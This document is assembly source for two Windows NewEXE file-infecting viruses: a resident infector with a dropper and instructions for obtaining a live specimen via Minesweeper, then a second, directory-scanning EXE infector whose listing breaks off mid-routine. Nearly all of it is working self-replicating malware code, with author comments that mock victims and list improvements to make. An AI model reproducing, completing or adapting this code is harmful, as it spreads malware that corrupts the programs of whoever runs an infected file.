; This virus is a parasitic TSR infector of NewEXE files. It works in
; protected mode only and infects on file execute.
;
; The executable infection code is by qark, while the interrupt handler
; code is by quantum.
;
; This virus contains no stealth of any form, a simple readonly attribute
; will stop the virus from writing, the time/date stamp is not preserved
; and there is no encryption of any form. Windows users are too dumb to
; notice anyway.
;
; To obtain a specimen of the virus, copy the compiled com file into the
; same directory as the file WINMINE.EXE and run it. Go into Windows
; and run the game 'Minesweeper'. Minesweeper should infect program
; manager direct action, so that next time windows is booted the virus
; will be resident.
;
; Possible Bugs and Improvements:
; 1) An error may be that if the file isn't exactly shift alignment sized
; the virus will overwrite some data at the end of the file or be
; incorrectly pointed.
; 2) An error may occur if the end of the segment table is less than eight
; bytes from a 512 byte divisor.
; 3) It may be possible to allocate buffer space without adding to virus
; size by changing the segment memory size in the segment table. At the
; moment the virus size is being doubled by the 512 byte read buffer we
; include in the disk image.
;
; Although the final virus was coded completely by quantum and I, many
; people helped by offering ideas, and windows documentation so I
; must give thanks to the following people:
; Screaming Radish, Stalker X, Dreadlord and some scandinavian dude.
; The most important help came from Malware who taught me the relocation
; entry ffff trick.
;
; Assemble with a86.
;-------------------------------------------------------------------------
;--Directly below is dropper code, ignore it, page down to the virus code--
mov ax,3d02h
mov dx,offset fname
int 21h
xchg bx,ax
mov ah,3fh
mov cx,512
mov dx,offset buffer
int 21h
mov si,offset buffer
cmp word ptr [si+3ch],400h
je ok_dropper
int 20h
ok_dropper:
mov ax,word ptr [si+2]
mov word ptr ppage,ax
mov ax,word ptr [si+4]
mov word ptr pfile,ax
mov ax,4200h
xor cx,cx
cwd
int 21h
mov ah,40h
mov cx,offset setsp - offset header
mov dx,offset header
int 21h
mov ax,4200h
xor cx,cx
mov dx,word ptr [si+3ch]
int 21h
mov ah,3fh
mov cx,512
mov dx,offset buffer
int 21h
mov ax,word ptr [si+1ch]
inc word ptr [si+1ch] ;increase segment count
mov cl,8
mul cl
mov di,word ptr [si+22h]
add di,si
add di,ax
mov ax,4202h
xor cx,cx
cwd
int 21h
;write in the new segment into the table
mov cl,byte ptr [si+32h]
push bx
mov bx,1
shl bx,cl
mov cx,bx
pop bx
div cx
mov word ptr [di],ax
mov word ptr [di+2],winend-win_entry
mov word ptr [di+4],180h
mov word ptr [di+6],winend-win_entry
mov ax,word ptr [si+14h]
mov word ptr winip2,ax
mov word ptr [si+14h],0
mov ax,word ptr [si+16h]
mov word ptr wincs2,ax
mov ax,word ptr [si+1ch] ;new cs:ip
mov word ptr [si+16h],ax
mov ah,40h
mov cx,winend-win_entry + 20h
mov dx,offset win_entry
int 21h
add word ptr [si+4],512
add word ptr [si+24h],512
add word ptr [si+26h],512
add word ptr [si+28h],512
add word ptr [si+2ah],512
mov dx,512
mov ax,4200h
xor cx,cx
int 21h
mov ah,40h
mov cx,512
mov dx,offset buffer
int 21h
mov ah,3eh
int 21h
int 20h
;--The New Windows DOS stub--
header db 'MZ'
ppage dw 0 ;part page
pfile dw 0 ;file/512
dw 0 ;relocation items
dw 10h ;header size/16
dw 0 ;minmem
dw -1 ;maxmem
dw 0 ;SS
dw offset setsp - offset winstart ;SP
dw 0 ;checksum
dw 0 ;IP
dw 0 ;CS
dw 40h ;Relocation offset
dupsize1 equ 3ch - ($-offset header)
db dupsize1 dup (0)
dw 200h ;NE offset
dupsize2 equ 100h - ($-offset header)
db dupsize2 dup (0)
winstart:
call windowsmsg
db 'This program requires Microsoft Windows.',0dh,0ah,'$'
windowsmsg:
pop dx
push cs
pop ds
mov ah,9
int 21h
mov ax,4c01h
int 21h
db 100 dup (0)
setsp:
;---end of fake dropper dos stub--
fname db 'winmine.exe',0
;----Start of the Virus---All the above is the dropper code, ignore it-------
win_entry: ;Infected windows executables start here.
jmp realenter
int21start: ;Virus Int21 handler
cmp ax,1894h ;Residency test ?
jnz nottest
mov cx,1234h
iret
nottest:
pusha
push ds
push es
cmp ah,4bh ;Windows is so dumb it uses DOS to
;execute.
jnz return2int
call executing
return2int:
pop es
pop ds
popa
db 0eah
oldint21 dw 0,0
executing:
mov ax,3d02h ;Open file in DS:DX
int 21h
jnc ok_open
ret
ok_open:
push ax
mov ax,0ah ;This function makes our CS writable.
push cs
pop bx
int 31h
push ax
pop ds
pop bx
mov ah,3fh ;Read first 512 bytes of EXE header.
mov cx,512
mov dx,offset buffer-offset win_entry
int 21h
mov si,offset buffer-offset win_entry
cmp word ptr [si],'ZM' ;Not a COM file.
jne bad_open
cmp word ptr [si+18h],40h ;40h+ for NE exe's
jb bad_open
cmp word ptr [si+3ch],400h ;header will be below if
je fileisoktoinfect ;already infected...
bad_open:
jmp fileisunsuitable
fileisoktoinfect:
sub word ptr [si+3ch],8 ;Change NE pointer.
sub word ptr [si+10h],8 ;Incase stack is end of header
mov ax,4200h ;Lseek right back to the start.
xor cx,cx
cwd
int 21h
mov ah,40h ;Rewrite the modified DOS header.
mov cx,512
mov dx,offset buffer - offset win_entry
int 21h
jc bad_open ;Write fail.. outta here!
mov ax,4200h ;Lseek to NE header.
xor cx,cx
mov dx,400h
int 21h
mov ah,3fh ;Read in first 512 bytes.
mov cx,512
mov dx,offset buffer - offset win_entry
int 21h
;Adjust header offsets. Any tables behind the segment table will
;have their offset increased by eight because we are inserting a new
;eight byte segment entry.
mov ax,word ptr [si+22h] ;AX=Segment table offset.
cmp word ptr [si+4],ax
jb ok_et
add word ptr [si+4],8
ok_et:
cmp word ptr [si+24h],ax
jb ok_rt
add word ptr [si+24h],8
ok_rt:
cmp word ptr [si+26h],ax
jb ok_rnt
add word ptr [si+26h],8
ok_rnt:
cmp word ptr [si+28h],ax
jb ok_mrt
add word ptr [si+28h],8
ok_mrt:
cmp word ptr [si+2ah],ax
jb ok_int
add word ptr [si+2ah],8
ok_int:
mov ax,word ptr [si+1ch]
inc word ptr [si+1ch] ;Increase segment count.
mov cl,8 ;Assume less than 256 segments.
mul cl
add ax,word ptr [si+22h] ;AX=Size of segment table.
xor dx,dx ;High order division value.
mov cx,512 ;512 byte portions are used
; for the reads later on.
div cx
mov word ptr [offset ne_size-offset win_entry],ax
;How much we'll have to read.
mov word ptr [offset last_ne-offset win_entry],dx
;Where the end of the segment table
; will be when we read it into the
; buffer. (The last buffer)
;Put the original CS:IP into our relocation table.
push word ptr [si+14h]
pop word ptr [offset newwinip2 - offset win_entry]
push word ptr [si+16h]
pop word ptr [offset newwincs2 - offset win_entry]
;Save the alignment shift count because we need that for calculating
;the offset of our segment when writing the segment entry.
push word ptr [si+32h]
pop word ptr [offset al_shift - offset win_entry]
;Point CS:IP to the virus.
mov word ptr [si+14h],0 ;The new IP
mov ax,word ptr [si+1ch]
mov word ptr [si+16h],ax ;The new CS
;Initialise the lseek variable
mov word ptr [offset lseek-offset win_entry],400h
;The below code gets the NE header and keeps moving it forward by
;eight bytes in 512 byte chunks.
move_header_forward:
mov ax,word ptr [offset ne_size-offset win_entry]
or ax,ax
jz last_page
dec word ptr [offset ne_size-offset win_entry]
mov ax,4200h ;Lseek to our current position.
xor cx,cx
mov dx,word ptr [offset lseek-offset win_entry]
sub dx,8
int 21h
mov ah,40h ;Write the header section out.
mov cx,512
mov dx,si
int 21h
;Advance the pointer by 512.
add word ptr [offset lseek-offset win_entry],512
mov ax,4200h ;Lseek to the next chunk.
xor cx,cx
mov dx,word ptr [offset lseek-offset win_entry]
int 21h
mov ah,3fh ;Read it.
mov dx,offset buffer - offset win_entry
mov cx,512
int 21h
jmp move_header_forward
last_page:
mov ax,4202h ;Lseek to end of file.
xor cx,cx
cwd
int 21h ;File length into DX:AX
;DX:AX=File offset of our segment
;Below section shifts the segment offset right by the alignment
;shift value.
mov cl,byte ptr [offset al_shift - offset win_entry]
push bx
mov bx,1
shl bx,cl
mov cx,bx
pop bx
div cx
mov di,si
add di,word ptr [offset last_ne-offset win_entry]
;Adding the new segment table entry
mov word ptr [di],ax ;Segment offset
mov word ptr [di+2],offset winend-offset win_entry
mov word ptr [di+4],180h ;Segment attribute
; 180h = NonMovable + Relocations
mov word ptr [di+6],offset winend-offset win_entry
mov ax,4200h ;Lseek to next position.
xor cx,cx
mov dx,word ptr [offset lseek-offset win_entry]
sub dx,8
int 21h
mov ah,40h ;Write rest of NE header + new seg entry.
mov cx,word ptr [offset last_ne-offset win_entry]
add cx,8 ;Added segment entry means eight more.
mov dx,offset buffer - offset win_entry
int 21h
;Reset the relocatable pointer.
push word ptr [offset winip - offset win_entry]
push word ptr [offset wincs - offset win_entry]
mov word ptr [offset winip - offset win_entry],0
mov word ptr [offset wincs - offset win_entry],0ffffh
mov ax,4202h ;Lseek to end of file.
xor cx,cx
cwd
int 21h
mov ah,40h ;Write main virus body.
mov cx,offset winend-offset win_entry
xor dx,dx
int 21h
pop word ptr [offset wincs - offset win_entry]
pop word ptr [offset winip - offset win_entry]
mov ah,40h ;Write the relocation item.
mov cx,offset winend-offset relocblk
mov dx,offset relocblk-offset win_entry
int 21h
fileisunsuitable:
mov ah,3eh ;Close file.
int 21h
ret
prefix db 'hell='
windir db 'indir='
systemfile db 'system.ini',0
NE_Size dw 0
Last_NE dw 0
Al_Shift dw 0
LSeek dw 0
progman db 0 ;1=Program Manager
envir dw 0 ;environment segment
pathbuff db 142 dup (0)
realenter:
pusha
push si
push di
push ds
push es
mov ax,1686h ;Is DPMI available ?
int 2fh
or ax,ax
jz dpmifound
no_dpmi:
jmp alreadyinmem
dpmifound:
mov ax,000ah ;Make CS writable.
push cs ;Protected mode isn't protected.
pop bx
int 31h ;Use DPMI.
push ax
pop ds
xor cx,cx ;Check if resident.
mov ax,1894h
int 21h
cmp cx,1234h ;Must be resident..
jz no_dpmi
cmp byte ptr [offset progman - offset win_entry],1
jne direct_progman
mov byte ptr [offset progman - offset win_entry],0
;Can't go TSR off any program but program manager.
mov ax,0204h ;Get real mode interrupt vector.
mov bl,21h
int 31h
mov ds:[offset oldint21 - win_entry],dx
mov ds:[offset oldint21 - win_entry + 2],cx
push cs
pop cx
mov dx,offset int21start-win_entry
mov ax,0205h
mov bl,21h
int 31h ;Set real mode interrupt vector.
jmp alreadyinmem
direct_progman:
;Next portion of code searches for the environment variable
;'windir' and places that before the files we access.
;On entry ES=PSP
mov ax,word ptr es:[2ch] ;PSP:[2ch]=Environment segment.
cld
mov es,ax
mov al,'w' ;w from windir
mov cx,-1
xor di,di
mov dx,di
dir_loop:
mov di,dx
repnz scasb
mov dx,di
mov si,offset windir-win_entry
push cx
mov cx,6
repe cmpsb ;indir from windir
pop cx
jne dir_loop
mov si,di
mov ax,ds
push es
pop ds
mov es,ax
mov cx,128
mov di,offset pathbuff-win_entry
rep movsb ;Move it into our path buffer.
push es
pop ds
mov di,offset pathbuff-win_entry
mov al,0
mov cx,128
repnz scasb
mov byte ptr es:[di-1],'\' ;Add a slash behind the path.
mov si,offset systemfile -offset win_entry
mov cx,11
rep movsb
;The below code reads in the 'system.ini' file and searches for
;the 'shell=' value, and infects the program specified by it.
;The windows shell (eg program manager) is always active in memory
;and we use it to go resident off.
mov ax,3d02h
mov dx,offset pathbuff -offset win_entry
int 21h
jc alreadyinmem
xchg bx,ax
mov ah,3fh
mov cx,512
mov dx,offset buffer -offset win_entry
int 21h
mov ah,3eh
int 21h
push ds
pop es
mov di,offset buffer-offset win_entry
mov dx,di
cld
mov cx,512
shell_loop:
mov di,dx
mov al,'s' ;The 's' in 'shell='
repne scasb
jne alreadyinmem
mov dx,di
mov si,offset prefix -offset win_entry ;Test for 'hell='
push cx
mov cx,5
repe cmpsb
pop cx
jne shell_loop
mov si,di ;Offset of filename into DX.
mov al,'.' ;The dot in the filename extension.
mov cl,0ffh
repne scasb
add di,3 ;Point to past the filename.
mov byte ptr es:[di],0 ;Add a zero to make it asciiz.
mov di,offset pathbuff-win_entry
mov al,0
mov cx,128
repnz scasb ;Search for the 0 at the path end.
dec di
mov al,'\' ;Now find the last backslash.
mov cx,128
std ;Scan backwards.
repnz scasb
cld
inc di ;DI points behind the final '\'
inc di
mov cx,15
rep movsb ;Append the shell program name.
mov dx,offset pathbuff-win_entry
mov byte ptr [offset progman - offset win_entry],1
call executing
mov byte ptr [offset progman - offset win_entry],0
alreadyinmem:
pop es
pop ds
pop di
pop si
popa
db 0eah ;JMP FAR PTR xxxx:xxxx
winip dw 0
wincs dw 0ffffh ;Needs to be FFFF due to windows
; relocation item format.
buffer db 512 dup (0)
;Below is the relocation item format. What ours does is turn the far jump
; above us into a jump to the original CS:IP.
relocblk dw 1 ;Signal only one relocation item.
db 3 ;32 bit pointer relocation.
db 4 ;Additive relocation (unsure, but
; it doesnt work unless you put this)
dw offset winip-offset win_entry ;Relocation offset.
newwincs2 dw 0 ;Target of the relocation. (We use
newwinip2 dw 0 ; the original host CS:IP)
winend: ;The actual virus ends here.
;-----End of the Virus---Below is dropper code-----------------------------
dw 1
db 3
db 4
dw offset winip - offset win_entry
wincs2 dw 0
winip2 dw 0
@@ -0,0 +1,688 @@
;A Basic Windows-EXE infecting virus. Launched as a DOS COM file.
.model small
.code
;All code must be offset-relocatable.
;All data is stored on the stack.
;Useful constants
NEW_HDR_SIZE EQU 40H ;size of new EXE header
;The following are used to access data on the stack. The first 512 bytes are
;a buffer for disk reads/writes.
FILE_ID EQU 200H ;"*.EXE" constant
ENTRYPT EQU 206H ;ip of virus start
VIRSTART EQU 208H ;offset of virus start in cs
NH_OFFSET EQU 20AH ;new EXE header offset from file start
VIRSECS EQU 20CH ;size added to file, in sectors for virus
INITSEC EQU 20EH ;initial cs location in file (sectors)
RELOCS EQU 210H ;number of relocatables in initial cs
LOG_SEC EQU 212H ;logical sector size for pgm
CS_SIZE EQU 214H ;size of all data in code seg, including rels, not virus
NEW_HDR EQU 216H ;new EXE header
;The following gives the size of the virus, in bytes
VIRUS_SIZE EQU OFFSET END_VIRUS - OFFSET VIRUS
ORG 100H
;******************************************************************************
;This is the main virus routine. It simply finds a file to infect and infects
;it, and then passes control to the host program. It resides in the first
;segment of the host program, that is, the segment where control is initially
;passed.
VIRUS:
push ax ;save all registers
push bx
push cx
push dx
push si
push di
call VIR_START
VIR_START:
pop bx
sub bx,3+6
push bp ;save segments and bp
push ds
push es
mov ax,ss ;all viral data is in stack segment
mov ds,ax
mov es,ax
sub sp,512+128 ;data area
mov bp,sp ;bp indexes data
mov [bp+VIRSTART],bx ;save virus starting offset here
call FIND_FILE ;find a viable file to infect
jnz GOTO_HOST ;z set if a file was found
call INFECT_FILE ;infect it if found
GOTO_HOST:
add sp,512+128
pop es
pop ds
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
VIRUS_DONE:
jmp HOST ;pass control to host program
;******************************************************************************
;This routine searches for a file to infect. It looks for EXE files and then
;checks them to see if they're uninfected, infectable Windows files. If a file
;is found, this routine returns with Z set, with the file left open, and its
;handle in the bx register. This FIND_FILE searches only the current directory.
FIND_FILE:
mov di,bp ;first, put '*.EXE',0 on stack
add di,FILE_ID ;at this location
mov dx,di ;set dx up for search first
mov ax,2E2AH ;*.
stosw
mov ax,5845H ;EX
stosw
mov ax,0045H ;E(0)
stosw
xor cx,cx ;file attribute
mov ah,4EH ;search first
int 21H
FIND_LOOP:
or al,al ;see if search successful
jnz FIND_EXIT ;nope, exit with NZ set
call FILE_OK ;see if it is infectable
jz FIND_EXIT ;yes, get out with Z set
mov ah,4FH ;no, search for next file
int 21H
jmp SHORT FIND_LOOP
FIND_EXIT: ;pass control back to main routine
ret
;This routine determines whether a file is ok to infect. The conditions for an
;OK file are as follows:
;
; (1) It must be a Windows EXE file.
; (2) There must be enough room in the initial code segment for it.
; (3) The file must not be infected already.
;
;If the file is OK, this routine returns with Z set, the file open, and the
;handle in bx. If the file is not OK, this routine returns with NZ set, and
;it closes the file. This routine also sets up a number of important variables
;as it snoops through the file. These are used by the infect routine later.
FILE_OK:
push ds
push es ;save seg registers
mov ah,2FH
int 21H ;get current DTA address in es:bx
push es
push ds
pop es
pop ds ;exchange ds and es
mov dx,bx ;put address in ds:dx
add dx,30 ;set ds:dx to point to file name
mov ah,3DH ;ok, now open the file
mov al,01000010B ;flags, read/write, etc.
int 21H
pop es
pop ds ;restore seg registers
jnc FOK1 ;error on opening?
jmp FOK_ERROR2 ;yes, exit now
FOK1: mov bx,ax ;open ok, put handle in bx
mov ah,3FH ;now read EXE header
mov dx,bp ;ds:dx points to file buffer
mov cx,40H ;read 40H bytes
int 21H
jc FN1 ;exit on error
cmp [bp],5A4DH ;see if first 2 bytes are 'MZ'
jnz FN1 ;nope, file not an EXE, exit
cmp WORD PTR [bp+18H],40H ;see if reloc table is at 40H or more
jc FN1 ;nope, it can't be a Windows EXE
mov dx,[bp+3CH] ;ok, put offset to new header in dx
mov [bp+NH_OFFSET],dx ;and save it here
xor cx,cx
mov ax,4200H ;now do a seek from start
int 21H
jc FN1
mov ah,3FH
mov cx,NEW_HDR_SIZE ;now read the new header
mov dx,bp ;into memory
add dx,NEW_HDR
int 21H
jc FN1 ;exit if there is an error
cmp [bp+NEW_HDR],454EH ;see if this is 'NE' new header ID
jnz FN1 ;nope, not a Windows EXE!
mov al,[bp+36H+NEW_HDR] ;get target OS flags
and al,2 ;see if target OS = windows
jnz FOK2 ;ok, go on
FN1: jmp FOK_ERROR1 ;else exit
;If we get here, then condition (1) is fulfilled.
FOK2: mov dx,[bp+16H+NEW_HDR] ;get initial cs
call GET_SEG_ENTRY ;and read seg table entry into disk buf
jc FOK_ERROR1
mov ax,[bp+2] ;put segment length in ax
add ax,VIRUS_SIZE ;add size of virus to it
jc FOK_ERROR1 ;if we carry, there's not enough room
;else we're clear on this count
;If we get here, then condition (2) is fulfilled.
mov cx,[bp+NEW_HDR+32H] ;logical sector alignment
mov ax,1
shl ax,cl ;ax=logical sector size
mov cx,[bp] ;get logical-sector offset of start seg
mul cx ;byte offset in dx:ax
add ax,WORD PTR [bp+NEW_HDR+14H];add in ip of entry point
adc dx,0
mov cx,dx
mov dx,ax ;put entry point in cx:dx
mov ax,4200H ;and seek from start of file
int 21H
jc FOK_ERROR1
mov ah,3FH
mov cx,20H ;read 32 bytes
mov dx,bp
int 21H ;into buffer
jc FOK_ERROR1
mov di,bp
mov si,[bp+VIRSTART] ;get starting offset of virus in cs
mov cx,10H ;compare 32 bytes
FOK3: mov ax,cs:[si] ;of virus at cs
add si,2
add di,2
cmp ax,[di-2] ;with code in buffer
loopz FOK3
jz FOK_ERROR1 ;already there, exit not ok
;If we get here, then condition (3) is fulfilled, all systems go!
xor al,al ;set Z flag
ret ;and exit
FOK_ERROR1:
mov ah,3EH ;close file before exiting
int 21H
FOK_ERROR2:
mov al,1
or al,al ;set NZ
ret ;and return to caller
;******************************************************************************
;This routine modifies the file we found to put the virus in it. There are a
;number of steps in the infection process, as follows:
; 1) We have to modify the segment table. For the initial segment, this
; involves (a) increasing the segment size by the size of the virus,
; and (b) increase the minimum allocation size of the segment, if it
; needs it. Every segment AFTER this initial segment must also be
; adjusted by adding the size increase, in sectors, of the virus
; to it.
; 2) We have to change the starting ip in the new header. The virus is
; placed after the host code in this segment, so the new ip will be
; the old segment size.
; 3) We have to move all sectors in the file after the initial code segment
; out by VIRSECS, the size of the virus in sectors.
; 4) We have to move the relocatables, if any, at the end of the code
; segment we are infecting, to make room for the virus code
; 5) We must move the virus code into the code segment we are infecting.
; 6) We must adjust the jump in the virus to go to the original entry point.
; 7) We must adjust the resource offsets in the resource table to reflect
; their new locations.
; 8) We have to kill the fast-load area.
;
INFECT_FILE:
mov dx,[bp+NEW_HDR+24H] ;get resource table @
add dx,[bp+NH_OFFSET]
xor cx,cx
mov ax,4200H
int 21H
mov dx,bp
add dx,LOG_SEC ;read logical sector size
mov ah,3FH
mov cx,2
int 21H
mov cx,[bp+LOG_SEC]
mov ax,1
shl ax,cl
mov [bp+LOG_SEC],ax ;put logical sector size here
mov ax,[bp+NEW_HDR+14H] ;save old entry point
mov [bp+ENTRYPT],ax ;for future use
mov dx,[bp+NEW_HDR+16H] ;read seg table entry
call GET_SEG_ENTRY ;for initial cs
mov ax,[bp] ;get location of this seg in file
mov [bp+INITSEC],ax ;save that here
mov ax,[bp+2] ;get segment size
mov [bp+NEW_HDR+14H],ax ;update entry ip in new header in ram
call SET_RELOCS ;set up RELOCS and CS_SIZE
mov ax,VIRUS_SIZE ;now calculate added size of segment
add ax,[bp+CS_SIZE] ;ax=total new size
xor dx,dx
mov cx,[bp+LOG_SEC]
div cx ;ax=full sectors in cs with virus
or dx,dx ;any remainder?
jz INF05
inc ax ;adjust for partially full sector
INF05: push ax
mov ax,[bp+CS_SIZE] ;size without virus
xor dx,dx
div cx
or dx,dx
jz INF07
inc ax
INF07: pop cx
sub cx,ax ;cx=number of secs needed for virus
mov [bp+VIRSECS],cx ;save this here
call UPDATE_SEG_TBL ;perform mods in (1) above on file
mov ax,4200H ;now move file pointer to new header
mov dx,[bp+NH_OFFSET]
xor cx,cx
int 21H
lea di,[bp+NEW_HDR+37H] ;zero out fast load area
xor ax,ax
stosb
stosw
stosw ;(8) completed
mov ah,40H ;and update new header in file
mov dx,bp ;(we updated the entry point above)
add dx,NEW_HDR
mov cx,NEW_HDR_SIZE
int 21H ;mods in (2) above now complete
call MOVE_END_OUT ;move end of virus out by VIRSECS (3)
;also sets up RELOCS count
cmp WORD PTR [bp+RELOCS],0 ;any relocatables in cs?
jz INF1 ;nope, don't need to relocate them
call RELOCATE_RELOCS ;relocate relocatables in cs (4)
INF1: call WRITE_VIRUS_CODE ;put virus into cs (5 & 6)
call UPDATE_RES_TABLE ;update resource table entries
mov ah,3EH ;close the file now
int 21H ;all done infecting!
; mov ah,2FH ;report file name infected
; int 21H ;for DOS-based debugging purposes
; push es ;only!
; pop ds
; add bx,30
; mov dx,bx
;ZLP: mov al,[bx]
; or al,al
; jz ZLP1
; inc bx
; jmp ZLP
;ZLP1: mov BYTE PTR [bx],'$'
; mov ah,9
; int 21H
ret
;The following procedure updates the Segment Table entries per item (1) in
;INFECT_FILE.
UPDATE_SEG_TBL:
mov dx,[bp+NEW_HDR+16H] ;read seg table entry
call GET_SEG_ENTRY ;for initial cs
mov ax,[bp+2] ;get seg size
add ax,VIRUS_SIZE ;add the size of the virus to seg size
mov [bp+2],ax ;and update size in seg table
mov ax,[bp+6] ;get min allocation size of segment
or ax,ax ;is it 64K?
jz US2 ;yes, leave it alone
US1: add ax,VIRUS_SIZE ;add virus size on
jnc US2 ;no overflow, go and update
xor ax,ax ;else set size = 64K
US2: mov [bp+6],ax ;update size in table in ram
mov ax,4201H
mov cx,0FFFFH
mov dx,-8
int 21H ;back up to location of seg table entry
mov ah,40H ;and write modified seg table entry
mov dx,bp ;for initial cs to segment table
mov cx,8
int 21H ;ok, init cs seg table entry is modified
mov di,[bp+NEW_HDR+1CH] ;get number of segment table entries
US3: push di ;save table entry counter
mov dx,di ;dx=seg table entry # to read
call GET_SEG_ENTRY ;read it into disk buffer
mov ax,[bp] ;get offset of this segment in file
cmp ax,[bp+INITSEC] ;higher than initial code segment?
jle US4 ;nope, don't adjust
add ax,[bp+VIRSECS] ;yes, add the size of virus in
US4: mov [bp],ax ;adjust segment loc in memory
mov ax,4201H
mov cx,0FFFFH
mov dx,-8
int 21H ;back up to location of seg table entry
mov ah,40H ;and write modified seg table entry
mov dx,bp
mov cx,8
int 21H
pop di ;restore table entry counter
dec di
jnz US3 ;and loop until all segments done
ret ;all done
;This routine goes to the segment table entry number specified in dx in the
;file and reads it into the disk buffer. dx=1 is the first entry!
GET_SEG_ENTRY:
mov ax,4200H ;seek in file
dec dx
mov cl,3
shl dx,cl
add dx,[bp+NH_OFFSET]
add dx,[bp+NEW_HDR+22H] ;dx=ofs of seg table entry requested
xor cx,cx ; in the file
int 21H ;go to specified table entry
jc GSE1 ;exit on error
mov ah,3FH ;read table entry into disk buf
mov dx,bp
mov cx,8
int 21H
GSE1: ret
;This routine moves the end of the virus out by VIRSECS. The "end" is
;everything after the initial code segment where the virus will live.
;The variable VIRSECS is assumed to be properly set up before this is called.
;This routine also sets up the RELOCS variable.
MOVE_END_OUT:
mov ax,[bp+CS_SIZE] ;size of cs in bytes
mov cx,[bp+LOG_SEC]
xor dx,dx
div cx
or dx,dx
jz ME01
inc ax
ME01: add ax,[bp+INITSEC] ;ax=next sector after cs
push ax
xor dx,dx
xor cx,cx
mov ax,4202H ;seek end of file
int 21H ;returns dx:ax = file size
mov cx,[bp+LOG_SEC]
div cx ;ax=sectors in file
mov si,ax ;keep it here
pop di ;last sector after code segment
dec di
MEO2: push si
push di
call MOVE_SECTOR ;move sector number si out
pop di
pop si
dec si
cmp si,di
jnz MEO2 ;and loop until all moved
ret
;This routine moves a single sector from SI to SI+VIRSECS
MOVE_SECTOR:
mov ax,si
mov cx,[bp+LOG_SEC]
mul cx
mov cx,dx
mov dx,ax
mov ax,4200H
int 21H ;seek sector si
mov ah,3FH ;and read it
mov dx,bp
mov cx,[bp+LOG_SEC]
int 21H
mov ax,[bp+VIRSECS]
dec ax ;calculate new, relative file ptr
mov cx,[bp+LOG_SEC]
mul cx
mov cx,dx
mov dx,ax
mov ax,4201H
int 21H ;and move there
mov ah,40H
mov dx,bp
mov cx,[bp+LOG_SEC]
int 21H ;and write sector there
ret
;This routine simply sets the variable RELOCS and CS_SIZE variables in memory.
SET_RELOCS:
mov WORD PTR [bp+RELOCS],0
mov dx,[bp+NEW_HDR+16H] ;read init cs seg table entry
call GET_SEG_ENTRY
mov ax,[bp+4] ;get segment flags
xor dx,dx
and ah,1 ;check for relocation data
mov ax,[bp+NEW_HDR+14H] ;size of segment is this
jz SRE ;no data, continue
push ax
push ax ;there is relocation data, how much?
mov ax,[bp+INITSEC] ;find end of code in file
mov cx,[bp+LOG_SEC]
mul cx ;dx:ax = start of cs in file
pop cx ;cx = size of code
add ax,cx
adc dx,0
mov cx,dx
mov dx,ax ;cx:dx=end of cs in file
mov ax,4200H ;so go seek it
int 21H
mov ah,3FH ;and read 2 byte count of relocatables
mov dx,bp
mov cx,2
int 21H
mov ax,[bp]
mov [bp+RELOCS],ax ;save count here
mov cl,3
shl ax,cl
add ax,2 ;size of relocation data
pop cx ;size of code in segment
xor dx,dx
add ax,cx ;total size of segment
adc dx,0
SRE: mov [bp+CS_SIZE],ax ;save it here
ret
;This routine relocates the relocatables at the end of the initial code
;segment to make room for the virus. It will move any number of relocation
;records, each of which is 8 bytes long.
RELOCATE_RELOCS:
mov ax,[bp+RELOCS] ;number of relocatables
mov cl,3
shl ax,cl
add ax,2 ;ax=total number of bytes to move
push ax
mov ax,[bp+INITSEC]
mov cx,[bp+LOG_SEC]
mul cx ;dx:ax = start of cs in file
add ax,[bp+NEW_HDR+14H]
adc dx,0 ;dx:ax = end of cs in file
pop cx ;cx = size of relocatables
add ax,cx
adc dx,0 ;dx:ax = end of code+relocatables
xchg ax,cx
xchg dx,cx ;ax=size cx:dx=location
RR_LP: push cx
push dx
push ax
cmp ax,512
jle RR1
mov ax,512 ;read up to 512 bytes
RR1: sub dx,ax ;back up file pointer
sbb cx,0
push cx
push dx
push ax
mov ax,4200H ;seek desired location in file
int 21H
pop cx
mov ah,3FH
mov dx,bp
int 21H ;read needed number of bytes, # in ax
pop dx
pop cx
push ax ;save # of bytes read
add dx,VIRUS_SIZE ;move file pointer up now
adc cx,0
mov ax,4200H
int 21H
pop cx ;bytes to write
mov ah,40H
mov dx,bp
int 21H ;write them to new location
pop ax
pop dx
pop cx
cmp ax,512 ;less than 512 bytes to write?
jle RRE ;yes, we're all done
sub ax,512 ;nope, adjust indicies
sub dx,512
sbb cx,0
jmp RR_LP ;and go do another
RRE: ret
;This routine writes the virus code itself into the code segment being infected.
;It also updates the jump which exits the virus so that it points to the old
;entry point in this segment. The only trick is that we can't write directly
;from cs since we can't just set ds=cs in windows or you get a fault. Thus
;we move the virus to the disk buffer and then write from there.
WRITE_VIRUS_CODE:
mov ax,[bp+INITSEC] ;sectors to code segment
mov cx,[bp+LOG_SEC]
mul cx ;dx:ax = location of code seg
add ax,[bp+NEW_HDR+14H]
adc dx,0 ;dx:ax = place to put virus
mov cx,dx
mov dx,ax
push cx
push dx ;save these to adjust jump
mov ax,4200H ;seek there
int 21H
mov si,[bp+VIRSTART] ;si=start of virus
mov cx,VIRUS_SIZE ;cx=size of virus
WVCLP: push cx
cmp cx,512 ;512 bytes maximum allowed per write
jle WVC1
mov cx,512
WVC1: push cx
mov di,bp ;now move virus to disk buffer
WCV2: mov al,cs:[si] ;get a byte from cs
inc si
stosb ;and save to disk buffer
loop WCV2 ;repeat until done
pop cx ;now write cx bytes to the file
mov dx,bp
mov ah,40H
int 21H
pop cx ;done writing,
cmp cx,512 ;did we have more than 512 bytes?
jle WVC3 ;nope, all done writing
sub cx,512 ;else subtract 512
jmp WVCLP ;and do another
WVC3: pop dx ;ok, now we have to update the jump
pop cx ;to the host
mov ax,OFFSET VIRUS_DONE - OFFSET VIRUS
inc ax
add dx,ax
adc cx,0 ;cx:dx=location to update
push ax
mov ax,4200H ;go there
int 21H
pop ax
inc ax
inc ax
add ax,[bp+NEW_HDR+14H] ;ax=offset of instr after jump
sub ax,[bp+ENTRYPT] ;ax=distance to jump
neg ax ;make it a negative number
mov [bp],ax ;save it here
mov ah,40H ;and write it to disk
mov cx,2
mov dx,bp
int 21H ;all done
ret
;Update the resource table so sector pointers are right.
UPDATE_RES_TABLE:
mov dx,[bp+NEW_HDR+24H] ;move to resource table in EXE
add dx,[bp+NH_OFFSET]
add dx,2
xor cx,cx
mov ax,4200H
int 21H
URT1:
mov ah,3FH ;read 8 byte typeinfo record
mov dx,bp
mov cx,8
int 21H
cmp WORD PTR [bp],0 ;is type ID 0?
jz URTE ;yes, all done
mov cx,[bp+2] ;get count of nameinfo records to read
URT2: push cx
mov ah,3FH ;read 1 nameinfo record
